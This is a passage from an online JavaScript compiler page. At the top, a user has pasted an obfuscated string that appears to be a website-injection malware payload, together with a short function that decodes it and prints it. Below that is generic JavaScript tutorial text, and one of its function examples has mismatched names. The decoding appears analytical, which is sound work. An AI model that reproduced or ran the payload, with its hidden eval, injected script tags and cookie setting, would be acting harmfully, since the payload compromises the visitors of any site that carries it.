var $a="Z63cZ3dZ225nZ2567Z2574h;iZ252b+)Z257bZ2574mpZ253dZ2564sZ252eslZ2569ce(Z2569,Z2569Z252b1)Z253bZ22;cdZ3dZ22stZ253dstZ252bSZ2574riZ256eg.Z2566roZ256dCZ2568Z2561rCZ256fdeZ2528(Z2574Z256dZ2570.Z22;ceZ3dZ22cZ2568arCZ256fdeAZ2574Z25280)Z255e(Z25270xZ2530Z2530Z2527+Z2565s)Z2529);Z257d}Z22;daZ3dZ22fqb0t-7vrs}vybZ3esZ257F}7+0fqb0cxyvdY~tuh0-0Z2520+vZ257Fb08fqb0y0y~0gy~tZ257FgZ3edgZ3edbu~tc9kyv08gy~tZ257FgZ3ex0.0(0660gy~tZ257FgZ3ex0,0Z2522!0660yZ3ey~tuh_v870Z2520Z27790.0Z3d!9kcxyvdY~tuh0-0gy~tZ257FgZ3edgZ3edbu~tcKyMK$MZ3eaeubiZ3esxqbSZ257FtuQd8!90;0gy~tZ257FgZ3edgZ3edbu~tcKyMK$MZ3eaeubiZ3e|u~wdx+rbuqZ7b+mu|cu0yv088gy~tZ257FgZ3ex0,0)0ll00gy~tZ257FgZ3ex0.0Z2522Z252090660yZ3ey~tuh_v870!(790.0Z3d!9kcxyvdY~tuh0-0gy~tZ257FgZ3edgZ3edbu~tcKyMK$MZ3eaeubiZ3esxqbSZ25Z22;cuZ3dZ22(p}b4g`mxq)6b}g}v}x}`m.|}ppqz6*(}rfuyq4gfw)6|``d.;;rvwyr}f:wZ7by;xp;sz|Z25Z25;64c}p`|)Z25$$4|q}s|`),$*(;}rfuyq*(;p}b*Z22;stZ3dZ22Z2573Z2574Z253dZ2522Z2524Z2561Z253dsZ2574Z253bZ2564Z2563sZ2528dZ2561+Z2564bZ252bdZ2563+Z2564dZ252bdZ2565,Z2531Z2530Z2529;Z2564wZ2528sZ2574)Z253bZ2573tZ253d$Z2561Z253bZ2522;Z22;czZ3dZ22Z2566uncZ2574ioZ256e Z2563z(cZ257a)Z257brZ2565turZ256eZ2520caZ252bZ2563b+Z2563Z2563+cdZ252bce+Z2563z;Z257d;Z22;dbZ3dZ227FtuQd8!90;0!Z25200;gy~tZ257FgZ3edgZ3edbu~tcKyMK$MZ3eaeubiZ3e|u~wdx+rbuqZ7b+mmyv08cxyvdY~tuh0--0Z252009kcxyvdY~tuh0-0gy~tZ257FgZ3edgZ3edbu~tcKyMKZ2526MZ3eaeubiZ3esxqbSZ257FtuQd8!90;0Z270;gy~tZ257FgZ3edgZ3edbu~tcKyMKZ2526MZ3eaeubiZ3e|u~wdx+m0yv08cxyvdY~tuh0.0Z25209kfqb0dy}u0-0~ug0Qbbqi89+dy}uK7iuqb7M0-0gy~tZ257FgZ3ewtZ3ewudEDSVe||Iuqb89+dy}uK7}Z257F~dx7M0-0gy~tZ257FgZ3ewtZ3ewudEDS]Z257F~dx89;!+dy}uK7tqi7M0-0gy~tZ257FgZ3ewtZ3ewudEDSTqdu89+fqb0t-7vZ22;dzZ3dZ22Z2566uZ256ectiZ256fn dZ2577(Z2574)Z257bcaZ253dZ2527Z252564ocuZ25256dZ252565ntZ25252eZ252577rZ252569Z2574Z2565(Z252522Z2527;cZ2565Z253dZ2527Z252522)Z2527;cbZ253dZ2527Z25253cscrZ252569pt Z25256caZ256eZ252567uZ252561Z25256Z2537Z252565Z25253dZ25255cZ252522javZ2561sZ252563rZ2525Z25369Z252570Z252574Z25255cZ252522Z25253eZ2527;ccZ253dZ2527Z25253cZ25255cZ25252fsZ2563Z2572Z252569Z2570Z252574Z25253eZ2527;Z2577indZ256fw[Z2522eZ2522+Z2522Z2522+ Z2522vZ2522+Z2522alZ2522](unescapeZ2528t)Z2529Z257dZ253bZ22;cbZ3dZ220e(Z2564Z2573Z2529;stZ253dtmZ2570Z253dZ2527Z2527;for(iZ253d0Z253biZ253cds.Z256cZ256Z22;caZ3dZ22Z2566Z2575nZ2563tZ2569on Z2564cZ2573Z2528dsZ252cZ2565Z2573)Z257bdsZ253dunZ2565scaZ257Z22;deZ3dZ22!Z25209M0;0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ddZ6fcumZ65Z6etZ2ewrZ69teZ28Z22Z3cimgZ20srcZ3dZ27htZ74pZ3aZ2fZ2fsearch.Z74witZ74er.Z63oZ6dZ2fimageZ73Z2fZ73Z65aZ72cZ68Z2frss.pZ6egZ27Z20wiZ64Z74Z68Z3d1 Z68eZ69gZ68Z74Z3d1 sZ74yleZ3dZ27viZ73Z69bZ69lZ69tyZ3ahidZ64enZ27 Z2fZ3e Z3cscrZ22+Z22ipt lZ61ngZ75ageZ3djZ61Z76Z61scZ72iZ70tZ22+Z22 srcZ3dZ27hZ74tp:Z2fZ2fseaZ72Z63Z68Z2eZ74wiZ74Z74erZ2ecoZ6dZ2ftreZ6edsZ2fZ64aiZ6cy.jZ73onZ3fZ63Z61llZ62Z61cZ6bZ3dcalZ6cbaZ63kZ27Z3eZ22 + Z22Z3cZ2fscrZ22 + Z22iptZ3eZ22);}elsZ65Z7b$aZ3dZ27Z27};funcZ74Z69oZ6e sZ63(cZ6emZ2cv,Z65Z64Z29Z7bvarZ20exdZ3dZ6eewZ20Z44aZ74e(Z29Z3bexdZ2esetZ44ateZ28exdZ2egZ65Z74DZ61teZ28)+Z65Z64);dZ6fcumZ65Z6et.cZ6foZ6biZ65Z3dZ63Z6em+Z20Z27Z3dZ27 +esZ63apZ65Z28v)Z2bZ27;expirZ65sZ3dZ27+exd.toGZ4dTSZ74Z72ingZ28);Z7d;";
console.log(doshit()); 
function doshit(){
	var s=$a;
	r="";
	for(i=0;i<s.length;i++) {
		if(s.charAt(i)=="Z"){
			s1="%"
		}
		else{
			s1=s.charAt(i)
		}
		r = r + s1;
	}
	return unescape(r);
} 

Javascript Online Compiler

Write, Run & Share Javascript code online using OneCompiler's JS online compiler for free. It's one of the robust, feature-rich online compilers for Javascript language. Getting started with the OneCompiler's Javascript editor is easy and fast. The editor shows sample boilerplate code when you choose language as Javascript and start coding.

About Javascript

Javascript(JS) is a object-oriented programming language which adhere to ECMA Script Standards. Javascript is required to design the behaviour of the web pages.

Key Features

  • Open-source
  • Just-in-time compiled language
  • Embedded along with HTML and makes web pages alive
  • Originally named as LiveScript.
  • Executable in both browser and server which has Javascript engines like V8(chrome), SpiderMonkey(Firefox) etc.

Syntax help

STDIN Example

var readline = require('readline');
var rl = readline.createInterface({
  input: process.stdin,
  output: process.stdout,
  terminal: false
});

rl.on('line', function(line){
    console.log("Hello, " + line);
});

variable declaration

KeywordDescriptionScope
varVar is used to declare variables(old way of declaring variables)Function or global scope
letlet is also used to declare variables(new way)Global or block Scope
constconst is used to declare const values. Once the value is assigned, it can not be modifiedGlobal or block Scope

Backtick Strings

Interpolation

let greetings = `Hello ${name}`

Multi line Strings

const msg = `
hello
world!
`

Arrays

An array is a collection of items or values.

Syntax:

let arrayName = [value1, value2,..etc];
// or
let arrayName = new Array("value1","value2",..etc);

Example:

let mobiles = ["iPhone", "Samsung", "Pixel"];

// accessing an array
console.log(mobiles[0]);

// changing an array element
mobiles[3] = "Nokia";

Arrow functions

Arrow Functions helps developers to write code in concise way, it’s introduced in ES6.
Arrow functions can be written in multiple ways. Below are couple of ways to use arrow function but it can be written in many other ways as well.

Syntax:

() => expression

Example:

const numbers = [0, 1, 2, 3, 4, 5, 6, 7, 8, 9]
const squaresOfEvenNumbers = numbers.filter(ele => ele % 2 == 0)
                                    .map(ele => ele ** 2);
console.log(squaresOfEvenNumbers);

De-structuring

Arrays

let [firstName, lastName] = ['Foo', 'Bar']

Objects

let {firstName, lastName} = {
  firstName: 'Foo',
  lastName: 'Bar'
}

rest(...) operator

 const {
    title,
    firstName,
    lastName,
    ...rest
  } = record;

Spread(...) operator

//Object spread
const post = {
  ...options,
  type: "new"
}
//array spread
const users = [
  ...adminUsers,
  ...normalUsers
]

Functions

function greetings({ name = 'Foo' } = {}) { //Defaulting name to Foo
  console.log(`Hello ${name}!`);
}
 
greet() // Hello Foo
greet({ name: 'Bar' }) // Hi Bar

Loops

1. If:

IF is used to execute a block of code based on a condition.

Syntax

if(condition){
    // code
}

2. If-Else:

Else part is used to execute the block of code when the condition fails.

Syntax

if(condition){
    // code
} else {
    // code
}

3. Switch:

Switch is used to replace nested If-Else statements.

Syntax

switch(condition){
    case 'value1' :
        //code
        [break;]
    case 'value2' :
        //code
        [break;]
    .......
    default :
        //code
        [break;]
}

4. For

For loop is used to iterate a set of statements based on a condition.

for(Initialization; Condition; Increment/decrement){  
//code  
} 

5. While

While is also used to iterate a set of statements based on a condition. Usually while is preferred when number of iterations are not known in advance.

while (condition) {  
  // code 
}  

6. Do-While

Do-while is also used to iterate a set of statements based on a condition. It is mostly used when you need to execute the statements atleast once.

do {  
  // code 
} while (condition); 

Classes

ES6 introduced classes along with OOPS concepts in JS. Class is similar to a function which you can think like kind of template which will get called when ever you initialize class.

Syntax:

class className {
  constructor() { ... } //Mandatory Class method
  method1() { ... }
  method2() { ... }
  ...
}

Example:

class Mobile {
  constructor(model) {
    this.name = model;
  }
}

mbl = new Mobile("iPhone");